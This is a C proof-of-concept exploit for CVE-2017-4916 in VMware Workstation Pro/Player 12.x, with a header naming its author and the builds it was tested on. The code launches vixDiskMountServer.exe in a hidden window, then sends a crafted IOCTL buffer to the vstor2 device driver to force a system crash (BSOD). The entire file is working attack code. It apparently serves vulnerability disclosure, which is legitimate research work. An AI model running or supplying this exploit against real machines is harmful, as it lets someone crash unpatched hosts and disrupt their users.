/*
 * Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
 * CVE: 2017-4916 (VMSA-2017-0009)
 * Author: Borja Merino (@BorjaMerino)
 * Date: May 18, 2017
 * Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMwareA(r) Workstation 12 Pro (12.5.5 build-5234757)
 * Affected: VMware Workstation Pro/Player 12.x
 * Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
 * driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
*/
 
#include "windows.h"
#include "stdio.h"
 
void ioctl_crash()
{
    HANDLE hfile;
    WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
    DWORD dummy;
    char reply[0x3FDC];
    hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
    DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}
 
void run_vix()
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    RtlZeroMemory(&si, sizeof(si));
    RtlZeroMemory(&pi, sizeof(pi));
    si.dwFlags |= STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    DWORD createFlags = CREATE_SUSPENDED;
    CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}
 
void main()
{
    run_vix(); //Comment this if vixDiskMountServer.exe is already running
    ioctl_crash();
}